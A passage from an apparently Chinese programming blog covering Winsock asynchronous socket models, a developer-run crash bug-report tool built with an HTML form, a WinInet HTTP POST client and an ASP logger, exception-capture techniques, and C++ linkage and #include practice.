个通知时使用的窗口句柄。当注册的事件发生时，对应的窗口将收到一个基于消息的通知。
int WSAAsyncSelect( SOCKET s, HWND hWnd, u_int wMsg, long lEvent);
s为需要事件通知的套接字
hWnd为接收消息的窗口句柄
wMsg为要接收的消息
lEvent为掩码，指定应用程序感兴趣的网络事件组合，主要如下：
#define FD_READ_BIT 0
#define FD_READ (1 << FD_READ_BIT)
#define FD_WRITE_BIT 1
#define FD_WRITE (1 << FD_WRITE_BIT)
#define FD_OOB_BIT 2
#define FD_OOB (1 << FD_OOB_BIT)
#define FD_ACCEPT_BIT 3
#define FD_ACCEPT (1 << FD_ACCEPT_BIT)
#define FD_CONNECT_BIT 4
#define FD_CONNECT (1 << FD_CONNECT_BIT)
#define FD_CLOSE_BIT 5
#define FD_CLOSE (1 << FD_CLOSE_BIT)
用法：要接收读写通知：
int nResult= WSAAsyncSelect(s,hWnd,wMsg,FD_READ|FD_WRITE)；
if(nResult==SOCKET_ERROR)
{
//错误处理
}
取消通知：
int nResult= WSAAsyncSelect(s,hWnd,0，0)；
当应用程序窗口hWnd收到消息时，wMsg.wParam参数标识了套接字，lParam的低字标明
了网络事件，高字则包含错误代码。

4、WSAEventSelect模型
WSAEventSelect模型类似WSAAsynSelect模型，但最主要的区别是网络事件发生时会被发
送到一个事件对象句柄，而不是发送到一个窗口。

使用步骤如下：
a、创建事件对象来接收网络事件：
#define WSAEVENT HANDLE
#define LPWSAEVENT LPHANDLE
WSAEVENT WSACreateEvent( void );
该函数的返回值为一个事件对象句柄，它具有两种工作状态：已传信(signaled)和未传信
(nonsignaled)以及两种工作模式：人工重设(manual reset)和自动重设(auto reset)。默认未
未传信的工作状态和人工重设模式。

b、将事件对象与套接字关联，同时注册事件，使事件对象的工作状态从未传信转变未
已传信。
int WSAEventSelect( SOCKET s,WSAEVENT hEventObject,long lNetworkEvents );
s为套接字
hEventObject为刚才创建的事件对象句柄
lNetworkEvents为掩码，定义如上面所述

c、I/O处理后，设置事件对象为未传信
BOOL WSAResetEvent( WSAEVENT hEvent );
Hevent为事件对象

成功返回TRUE，失败返回FALSE。

d、等待网络事件来触发事件句柄的工作状态：
DWORD WSAWaitForMultipleEvents( DWORD cEvents,
const WSAEVENT FAR * lphEvents, BOOL fWaitAll,
DWORD dwTimeout, BOOL fAlertable );
lpEvent为事件句柄数组的指针
cEvent为为事件句柄的数目，其最大值为WSA_MAXIMUM_WAIT_EVENTS
fWaitAll指定等待类型：TRUE：当lphEvent数组重所有事件对象同时有信号时返回；
FALSE：任一事件有信号就返回。
dwTimeout为等待超时（毫秒）
fAlertable为指定函数返回时是否执行完成例程

对事件数组中的事件进行引用时，应该用WSAWaitForMultipleEvents的返回值，减去
预声明值WSA_WAIT_EVENT_0，得到具体的引用值。例如：
nIndex=WSAWaitForMultipleEvents(…);
MyEvent=EventArray[Index- WSA_WAIT_EVENT_0];

e、判断网络事件类型：
int WSAEnumNetworkEvents( SOCKET s,
WSAEVENT hEventObject, LPWSANETWORKEVENTS lpNetworkEvents );
s为套接字
hEventObject为需要重设的事件对象
lpNetworkEvents为记录网络事件和错误代码，其结构定义如下：
typedef struct _WSANETWORKEVENTS {
long lNetworkEvents;
int iErrorCode[FD_MAX_EVENTS];
} WSANETWORKEVENTS, FAR * LPWSANETWORKEVENTS;

f、关闭事件对象句柄：
BOOL WSACloseEvent(WSAEVENT hEvent);
调用成功返回TRUE，否则返回FALSE。

bugreport

Fri, 25 Nov 2005 03:24:35 GMT

//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
//                          flipcode@msn.com
//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
有没有发现一些程序在出错时会弹出一个输入框供提交bug?
当你的程序公开使用后必然会出现各种不可预料的错误，如果能捕获并由用户提交回
来就非常有利于我们的除错。
这其实非常简单，下面我们先说一下大致流程，再给出一个bug提交可运作的实例
(这里提供网页提交及程序提交两种处理方法):
流程：
  a. 程序中在可能出错的地方使用异常处理, 在发布版本中打开异常捕获(自己的调试
     版本可以不打开，以免调试不便)。

b. 当程序出错被捕获时弹出bug提交对话框,确定后调用bugreport把出错信息
(如:__FILE__,__LINE__)和当时相关环境信息及用户输入文本并发送出去。

c. 当发送失败时, 将信息累积保存下来供下次出现时一起提交或是由用户手
动调用bugreport.exe发送或是拷贝到官方网页上直接发送。

具体步骤如下：
一.建设站点(这里我们在自己同一台机上创建作测试):
  1. 安装个人网站服务:
     如果没安装"internet信息服务IIS"就先安装：
     在winxp/nt上安装可打开控面板--添加删除/程序--添加删除windows程序--
     internet信息服务IIS"---下一步到完成.(中途可能要插入系统安装盘)
     在win98上安装则要自己找Personal Web Server安装程序来装(这个只有完整的98安装盘上有带)
     注：缺省成功安装后有这样的目录:  C:\Inetpub\wwwroot。
  2. 激活个人网站服务:
     在控件面板中打开"internet信息服务",双击internet信息服务下面的一项，右击"默认的web站点"
     选"启动"

二.制作上传工具(具体内容付带后面):
1. 网页提交: 该网页放服务端虚拟目录下供浏览, 如: c:\Inetpub\wwwroot\bugreport.htm

2. 程序提交: 该程序放客户端供运行, 如: c:\bugreport.exe

三.网站接收程序(具体内容付带后面):
  C:\Inetpub\wwwroot\readbug.asp
四.异常捕捉(此处只作大概说明,具体留给你自己实作)
  try
  {
  }
  catch(...)
  {
      Sav_BugInfo( __FILE__, __LINE__, "void test()" );
  }
  或是把try、catch定义成两个宏方便点。同时我们应该自己定义一个assert
  宏，当断言不成立时同样保存相关信息再抛出，以便上一层
(如果有的话)接住再抛, 这样就可以把相关堆栈信息保存下来。

五.bug提交
  1. 在开始-运行-输入cmd回车进入虚拟dos下打ipconfig看看ip地址(假设是:192.168.4.25)
  2. 在ie下输入http://192.168.4.25/bugreport.htm回车即可看到一文本框，输入信息点确定。
     此时再打开
  3. c:\bugreport.exe

附:
1. bugreport.htm的内容:
<html>
<head><title> a sample form </title></head>
<FORM METHOD="POST" ACTION="readbug.asp"><P>
内容：<P>
<TEXTAREA NAME="bug" ROWS=20 COLS=72></TEXTAREA><P>
<CENTER><INPUT TYPE=SUBMIT value="发布信息">
<INPUT TYPE=RESET value="清除信息"></CENTER>
</FORM>
</body>
</html>

2. bugreport.exe的内容
//
#include <windows.h>
#include <stdio.h>
#include <Wininet.h>

#pragma comment(lib, "wininet.lib")

bool SendHttpData( const char * szIP, const char* szFile, const void* szData, int nLen )
{
HINTERNET hInter1 = NULL, hInter2 = NULL, hInter3 = NULL;

// open internet:
hInter1 = InternetOpen( "", 0, NULL, NULL, 0 );
if( !hInter1 ) return false;

// open url:
hInter2 = InternetConnect( hInter1, szIP, 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1 );
if( !hInter2 )
{
InternetCloseHandle(hInter1);
return false;
}

// open request:
hInter3 = HttpOpenRequest( hInter2, "POST", szFile, NULL, NULL, NULL, INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 1 );
if( !hInter3 )
{
InternetCloseHandle(hInter2);
InternetCloseHandle(hInter1);
return false;
}

// send:
char szHeader[] = "Accept:*/*\r\n""Content-Type:application/x-www-form-urlencoded\r\n";
int nRes = HttpSendRequest( hInter3, szHeader, strlen(szHeader), (void*)szData, nLen ) ;
if( 0 != nRes )
{
const int BUFFSIZE = 512;
char pcBuffer[BUFFSIZE];
DWORD dwBytesRead;

printf("\nThe following was returned by the server:\n");
do
{ dwBytesRead=0;
if( InternetReadFile ( hInter3, pcBuffer, BUFFSIZE-1, &dwBytesRead ) )
{
pcBuffer[dwBytesRead] = 0x00; // Null-terminate buffer
printf( "%s", pcBuffer );
}
else
printf( "\nInternetReadFile failed" );
}while( dwBytesRead > 0 );
printf( "\n" );
}

// close all:
InternetCloseHandle( hInter3 );
InternetCloseHandle( hInter2 );
InternetCloseHandle( hInter1 );

system( "pause" );

return (0 != nRes);
}

int main(int argc, char *argv[])
{
char szIp[] = "192.168.4.25";
char szFile[] = "Readbug.asp";
char szData[] = "bug=test only\n";
int nLen = strlen(szData);

SendHttpData( szIp, szFile, szData, nLen );

return 0;
}

3. Readbug.asp的内容:
<%@ LANGUAGE="VBSCRIPT" %>
<%
   'Increase Script Timeout to 10 hours(36000minute), default timeout is 20 minutes
   Server.ScriptTimeout = 36000
   bug = Request.FORM( "bug" )
   set fsFilesys=CreateObject( "Scripting.FileSystemObject" )
   bugfile = "c:\bug.txt"
   bug = bug & "[" & Now & "]"
   if fsFilesys.FileExists( bugfile ) then
      Set tsCoffee=fsFilesys.OpenTextFile( bugfile, 8 )
   else
      set tsCoffee=fsFilesys.CreateTextFile( bugfile, true )
   end if
   tsCoffee.WriteLine( bug )
   tsCoffee.Close

' Send results back to client
Response.Write " bytes were read."
%>

注：
bugreport.htm中的FORM下的name对应就是我们在 Readbug.asp中的"bug"
而bugreport.exe中的char szData[] = "bug=test only\n"中的bug也是
对应Readbug.asp中的"bug"。如果有必要可以使用多个，在Readbug.asp
再存进数据库中。

这里要感谢一下xum大哥,我最初是从他那里大体上知道这个方法的。

[续:]
下面说说异常的捕获，主要介绍3种不同的方法:
1. try catch 的方法:
   主要思想:
       通过在可能出错的地方添加异常捕获陷井，捕获到则保留现场(记录出错的文件名行数等)
   再往外一层层的抛,一层层的记录。(主要是为了得到相关堆栈信息)。
   这种方法为了得到真正出错的地方将会导致随处可见的try catch，另外使用异常必须面对效率问题。
   当前正在运营的一个大型网游的工程中使用了此法:大部分的函数开始处都用到try,函数结束时用了catch(..)，
   而实际验证效果还不错，帮助解决了很多bug。

   具体实现方法:
       下面是大概的代码,一堆堆的宏，很难看，只为说明问题:)
// debug using:
#if defined(_DEBUG) && (defined(WIN32) || defined(__WIN32__))
#ifndef MAKE_BREAK_POINT
#define MAKE_BREAK_POINT \
{ \
{ __asm int 3 } \
}
#endif
#else
#define MAKE_BREAK_POINT
#endif

#ifdef  X_TRY_EXCEPTION
#pragma message( "[X_TRY_EXCEPTION]_______USE_TRY_EXCEPTION_______" )

#ifndef __CLASS__
#pragma message( "[X_TRY_EXCEPTION]_______COMPILER_NOT_DEFINE_MACRO(__CLASS__)_______" )
#define __CLASS__ "??" // For systems that don't have the __FUNCTION__ variable, we can just define it here
#endif

#ifndef __FUNCTION__
#pragma message( "[X_TRY_EXCEPTION]_______COMPILER_NOT_DEFINE_MACRO(__FUNCTION__)_______" )
#define __FUNCTION__ "??" // For systems that don't have the __FUNCTION__ variable, we can just define it here
#endif

#ifdef RECORD_BUG
#undef RECORD_BUG
#endif
#define RECORD_BUG( szTxt, nDepth ) \
{ \
char szTmp[128]; \
        int nLine = __LINE__; \
std::string strBug = "<p>----------------------------------------------------------------------------<p>"; \
sprintf( szTmp, "try_catch_depth:%d<p>", nDepth ); \
strBug += szTmp; \
strBug += szTxt; \
strBug += "<p>Local at:"; \
strBug += "<p>file:     "; \
strBug += __FILE__; \
strBug += "<p>FUNCTION: "; \
strBug += __FUNCTION__; \
strBug += "<p>LINE:     "; \
        sprintf( szTmp, "%d", nLine ); \
strBug += szTmp; \
strBug += "<p>"; \
XUTIL::AddBugInfo( strBug.data() ); \
}
#ifdef X_TRY
#undef X_TRY
#endif
#define X_TRY try {

#ifdef X_CATCH_INFO
#undef X_CATCH_INFO
#endif
#define X_CATCH_INFO(xx) } \
catch( int nDepth ) \
{ \
RECORD_BUG(xx ## "<p>[TYPE]: k_GetThrow_Error:", ++nDepth); \
throw nDepth; \
} \
catch(...) \
{ \
MAKE_BREAK_POINT \
RECORD_BUG(xx ## "<p>[TYPE]: k_Try_Error:", 0); \
throw 0; \
}

#ifdef X_CATCH
#undef X_CATCH
#endif
#define X_CATCH \
X_CATCH_INFO("")

#ifdef X_ASSERT
#undef X_ASSERT
#endif
#define X_ASSERT(x) \
{ \
if( !(x) ) \
{ \
MAKE_BREAK_POINT \
RECORD_BUG("[TYPE]: X_ASSERT_Error:" #x, 0); \
throw 0; \
} \
}

#else
#define X_TRY
#define X_CATCH
#define X_CATCH_INFO(xx)
#define X_ASSERT(x) { \
}
#endif

2. map 映射法:
   主要思想:
       编译工程时打开map一些相关开关，build后就会输出相关文件信息到指定的map文件中，
   每发布一个版本就保存对应的map文件，当程序在用户运行时出错时系统跳出错误框，
   根据报告的出错地址从对应版本的map文件中可找到对应出错的信息(能找到出错代码的位置)。
   (注:一般PE文件内容映射到内存中(image)的相对位置是一致的,PE储存内容大致:
    DOS-stub(小程序，用于在纯dos下运行该程序时打印出错提示并退出)、
    nt_header(file-header、optional header、 data directories，主要记录文件格式标志、版本、时间、RVA等等)
    sections(包括.text代码和.data数据资源及bss section及导入导出表(IAT、EAT)(也许在深入浅出dll那文章的后续会讲一下这部份)等等)、
    debug_info( 这里应该是调试器用的debug信息 )
   map映射出来的内容就有包括上述格式中的一些内容。如sections中的.text, .data及输入输出
   函数及偏移位置等等。
   可参考相关PE格式的文章，
   如《Windows 95 System Programming Secrets》可到侯杰网站下载电子版)。
   具体实现方法:
       上面说了很多，其实看看老罗的文章:http://www.luocong.com/articles/show_article.asp?Article_ID=29   就知道实现很简单。另一篇英文的参见:http://www.codeproject.com/debug/mapfile.asp

再一篇＂对“仅通过崩溃地址找出源代码的出错行”一文的补充与改进＂中说明了使用Listing Files的方法,参见:

http://www.vckbase.com/document/viewdoc/?id=1473

   注:
       vc6及vc7下测试通过(处理有点点不同), win2000和xp下同样测试通过, 只是xp下的出错框出错地址信息有点不同，显示的是偏移（不用减去基址，只需减去pe加载偏移１０００即可）, 此外不用老罗的行号算法也可以找到精确的位置，只要在vc下按下alt+8打开反汇编即可看到对应精确的地址.

3. seh(结构化异常处理) 大法:
   系统会用到seh进行一些异常处理(通常这个可用在溢出攻击，反跟踪等，具体网上有一大堆文章)
   主要思想:
       我们在程序开始处调用SetUnhandledExceptionFilter安装了最后异常处理例程,
   当程序发生异常而未被处理的时，系统就会转向对它的调用。这时我们利用SEH获得异常时的相关信息，
   并存储或转发到我们的网站。
   具体实现方法:
       参见大牛的代码:http://www.vckbase.com/code/listcode.asp?mclsid=23&;sclsid=2303
   注:
       在调试中安装的最后异常处理例程无法捕获到出错异常。(因为我安装的是最后异常处理全程，
   而这时异常被调试器捕获了)。直接运行则可捕获异常。另外如果你在build时生成*.pdb文件的话
   则可捕获到堆栈的信息而无论是否调试版只要你指选项生成debug信息，并在发行版本中把对应的*.pdb
   (vc编译器生成的供调试信息文件，用ultraedit打开exe文件在最后可看到有记录*.pdb文件路径，不过
   系统还是会优先考虑当前路径上找，所以你只要把*.pdb放在exe同一目录下)，但是在98下我测试无法
   得到堆栈的信息(用的vc6),why?

4. 待续，
   上述第3点已经很不错了，但98下我还得不到堆栈的信息，所以待续，如果有好想法的话。。。

flipcode 2004-12-5 14:09:29

编译器处理

Fri, 25 Nov 2005 03:20:18 GMT

编译器处理:
    flipcode@msn.com
一.预处理器-编译器-汇编器-链接器
  预处理器会处理相关的预处理指令，一般是以"#"开头的指令。如：#include "xx.h" #define等。
  编译器把对应的*.cpp翻译成*.s文件(汇编语言)。
  汇编器则处理*.s生成对应的*.o文件(obj目标文件)
  最后链接器把所有的*.o文件链接成一个可执行文件(?.exe)

  1.部件:
      首先要知道部件(可以暂且狭义地理解为一个类)一般分为头文件(我喜欢称为接口，如:*.h)及实现文件(如:*.cpp)。
  一般头文件会是放一些用来作声明的东东作为接口而存在的。
  而实现文件主要是实现的具体代码。

  2.编译单个文件:
      记住IDE在bulid文件时只编译实现文件(如*.cpp)来产生obj，在vc下你可以对某个?.cpp按下ctrl+f7单独编译它
  生成对应一个?.obj文件。在编译?.cpp时IDE会在?.cpp中按顺序处理用#include包括进来的头文件
  (如果该头文件中又#include有文件，同样会按顺序跟进处理各个头文件，如此递归。。)

  3.内部链接与外部链接:
      内、外链接是比较基础的东东，但是也是新手最容易错的地方,所以这里有必要祥细讨论一下。
      内部链接产生的符号只在本地?.obj中可见，而外部链接的符号是所有*.obj之间可见的。
    如:用inline的是内部链接，在文件头中直接声明的变量、不带inline的全局函数都是外部链接。
    在文件头中类的内部声明的函数(不带函数体)是外部链接，而带函数体一般会是内部链接(因为IDE会尽量把它作为内联函数)
    认识内部链接与外部链接有什么作用呢？下面用vc6举个例子：
    // 文件main.cpp内容:
    void main(){}
    // 文件t1.cpp内容:
    #include "a.h"
    void Test1(){ Foo(); }
    // 文件t2.cpp内容:
    #include "a.h"
    void Test2(){ Foo(); }
    // 文件a.h内容:
    void Foo( ){ }
    好，用vc生成一个空的console程序(File - new - projects - win32 console application)，并关掉预编译选项开关
    (project - setting - Cagegory:precompiled Headers - Not using precompiled headers)
    现在你打开t1.cpp按ctrl+f7编译生成t1.obj通过
    打开t2.cpp按ctrl+f7编译生成t2.obj通过
    而当你链接时会发现:
    Linking...
    t2.obj : error LNK2005: "void __cdecl Foo(void)" (?Foo@@YAXXZ) already defined in t1.obj
    这是因为:
    1. 编译t1.cpp在处理到#include "a.h"中的Foo时看到的Foo函数原型定义是外部链接的，所以在t1.obj中记录Foo符号是外部的。
    2. 编译t2.cpp在处理到#include "a.h"中的Foo时看到的Foo函数原型定义是外部链接的，所以在t2.obj中记录Foo符号是外部的。
    3. 最后在链接 t1.obj 及 t2.obj 时, vc发现有两处地方(t1.obj和t2.obj中)定义了相同的外部符号(注意：是定义，外部符号可以
    多处声明但不可多处定义，因为外部符号是全局可见的，假设这时有t3.cpp声明用到了这个符号就不知道应该调用t1.obj
    中的还是t2.obj中的了)，所以会报错。
    解决的办法有几种:
        a.将a.h中的定义改写为声明，而用另一个文件a.cpp来存放函数体。(提示：把上述程序改来试试)
    (函数体放在其它任何一个cpp中如t1.cpp也可以，不过良好的习惯是用对应cpp文件来存放)。
    这时包括a.h的文件除了a.obj中有函数体代码外，
    其它包括a.h的cpp生成的obj文件都只有对应的符号而没有函数体，如t1.obj、t2.obj就只有符号，当最后链接时IDE会把
    a.obj的Foo()函数体链接进exe文件中，并把t1.obj、t2.obj中的Foo符号转换成对应在函数体exe文件中的地址。
     另外：当变量放在a.h中会变成全局变量的定义，如何让它变为声明呢?
     例如: 我们在a.h中加入:class CFoo{};CFoo* obj;
     这时按f7进行build时出现:
     Linking...
     t2.obj : error LNK2005: "class CFoo *  obj" (?obj@@3PAVCFoo@@A) already defined in t1.obj
     一个好办法就是在a.cpp中定义此变量( CFoo* obj;)，然后拷贝此定义到a.h文件中并在前面加上extern(extern CFoo* obj;)
     如此就可通过了。当然extern也可以在任何调用此变量的位置之前声明，不过强烈建议不要这么作，因为到处作用extern，会
     导致接口不统一。良好的习惯是接口一般就放到对应的头文件。

        b. 将a.h中的定义修改成内部链接，即加上inline关键字，这时每个t1.obj和t2.obj都存放有一份Foo函数体，但它们不是外部
    符号，所以不会被别的obj文件引用到，故不存在冲突。(提示：把上述程序改来试试)
    另外我作了个实验来验证”vc是把是否是外部符号的标志记录在obj文件中的“(有点绕口)。可以看看，如下:
     (1)文件内容:
    // 文件main.cpp内容:
    void main(){}
    // 文件t1.cpp内容:
    #include "a.h"
    void Test1(){ Foo(); }
    // 文件t2.cpp内容:
    #include "a.h"
    void Test2(){ Foo(); }
    // 文件a.h内容:
    inline void Foo( ){ }
    (2) 选t1.cpp按ctrl+f7单独编译,并把编译后的t1.obj修改成t1.obj_inline
    (3) 选t2.cpp按ctrl+f7单独编译,并把编译后的t2.obj修改成t2.obj_inline
    (4) 把除了t1.obj_inline及t2.obj_inline外的其它编译生成的文件删除。
    (5) 修改a.h内容为:void Foo( ){ },使之变为非内联函数作测试
    (6) rebuild all所有文件。这时提示:
Linking...
t2.obj : error LNK2005: "void __cdecl Foo(void)" (?Foo@@YAXXZ) already defined in t1.obj
Debug/cle.exe : fatal error LNK1169: one or more multiply defined symbols found
    (7) 好，看看工程目录下的debug目录中会看到新生成的obj文件。
下面我们来手工链接看看，
打开菜单中的project - setting - Link,拷贝Project options下的所有内容,如下:
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:"Debug/cle.pdb" /debug /machine:I386 /out:"Debug/cle.exe" /pdbtype:sept
把它修改成:
Link.exe kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:"Debug/cle.pdb" /debug /machine:I386 /out:"Debug/cle.exe" /pdbtype:sept Debug/t1.obj Debug/t2.obj Debug/main.obj
pause
注意前面多了Link.exe，后面多了Debug/t1.obj Debug/t2.obj Debug/main.obj以及
最后一个pause批处理命令，然后把它另存到工程目录(此目录下会看到debug目录)下起名为link.bat
运行它，就会看到:
t2.obj : error LNK2005: "void __cdecl Foo(void)" (?Foo@@YAXXZ) already defined i
n t1.obj
Debug/cle.exe : fatal error LNK1169: one or more multiply defined symbols found
很好，我们链接原来的obj文件得到的效果跟在vc中用rebuild all出来的效果一样。那么现在如果
我们把备份出来的t1.obj_inline覆盖t1.obj而t2.obj_inline覆盖t2.obj再手动链接应该会是
不会出错的，因为原t1.obj_inline及t2.obj_inline中存放的是内部链接符号。好运行Link.bat，果然
不出所料，链接成功了，看看debug目录下多出了一个exe文件。这就说明了内或外符号在obj有标志标识!
(提示：上述为什么不用vc的f7build链接呢,因为文件时间改变了，build会重新生成新的obj，
所以我们用手动链接保证obj不变)[注:obj信息可用dumpbin.exe查看]

4.#include规则:
有很多人不知道#include 文件该放在何处？

    1). 增强部件自身的完整性：
     为了保证部件的完整性，部件的cpp实现文件(如test.cpp)中第一个#include的应当是它自身对应的头文件(如test.h)。
    (除非你用预编译头文件, 预编译头必须放在第一个)。这样就保证了该部件头文件(test.h)所必须依赖的其它接口(如a.h等)要放到它对应的文件头中(test.h),而不是在cpp中(test.cpp)把所依赖的其它头文件(a.h等)移到其自身对应的头文件(test.h等)之前（因为这样强迫其它包括此部件的头文件(test.h)的文件(b.cpp)也必须再写一遍include(即b.cpp若要#include "test.h"也必须#include "a.h")”。另外我们一般会尽量减少文件头之间的依赖关系，看下面：

    2). 减少部件之间的依赖性：
    在1的基础上尽量把#include到的文件放在cpp中包括。
    这就要求我们一般不要在头文件中直接引用其它变量的实现，而是把此引用搬到实现文件中。
    例如:
    // 文件foo.h:
    class CFoo{
       void Foo(){}
    };
    // 文件test.h:
    #include "foo.h"
    class CTest{
       CFoo*   m_pFoo;
    public:
       CTest() : m_pFoo(NULL){}
       void Test(){ if(m_pFoo){ m_pFoo->Foo();}}
       ...........
    };
    // 文件test.cpp:
    #include "test.h"
    .....

    如上文件test.h中我们其实可以#include "foo.h"移到test.cpp文件中。因为CFoo* m_pFoo我们只想在部件CTest中用到,
    而将来想用到CTest部件而包括test.h的其它部件没有必要见到foo.h接口，所以我们用前向声明修改原文件如下:
   // 文件foo.h:
   class CFoo{
public:
       void Foo(){}
   };
   // 文件test.h:
   class CFoo;
   class CTest{
       CFoo*   m_pFoo;
   public:
      CTest();
      void Test();
     //........
   };
   // 文件test.cpp:
   #include "test.h" // 这里第一个放该部件自身对应的接口头文件
   #include "foo.h"  // 该部件用到了foo.h
   CTest::CTest() : m_pFoo(0){
m_pFoo = new CFoo;
   }
   void CTest::Test(){
if(m_pFoo){
m_pFoo->Foo();
}
   }
   //.....
   // 再加上main.cpp来测试:
   #include "test.h" // 这里我们就不用见到#include "foo.h"了
   CTest test;
   void main(){
test.Test();
   }

   3). 双重包含卫哨:
  在文件头中包括其它头文件时(如：#include "xx.h")建议也加上包含卫哨:
   // test.h文件内容:
   #ifndef __XX1_H_
   #include "xx1.h"
   #endif
   #ifndef __XX2_H_
   #include "xx2.h"
   #endif
   ......

   虽然我们已经在xx.h文件中开头已经加过，但是因为编译器在打开#include文件也
   是需要时间的，如果在外部加上包含卫哨，对于很大的工程可以节省更多的编译时间。

5.待续(还有很多相关的东东，比如不同dll工程之间符号导出问题等等，有空再写)

flipcode 2004-12-5 14:21:33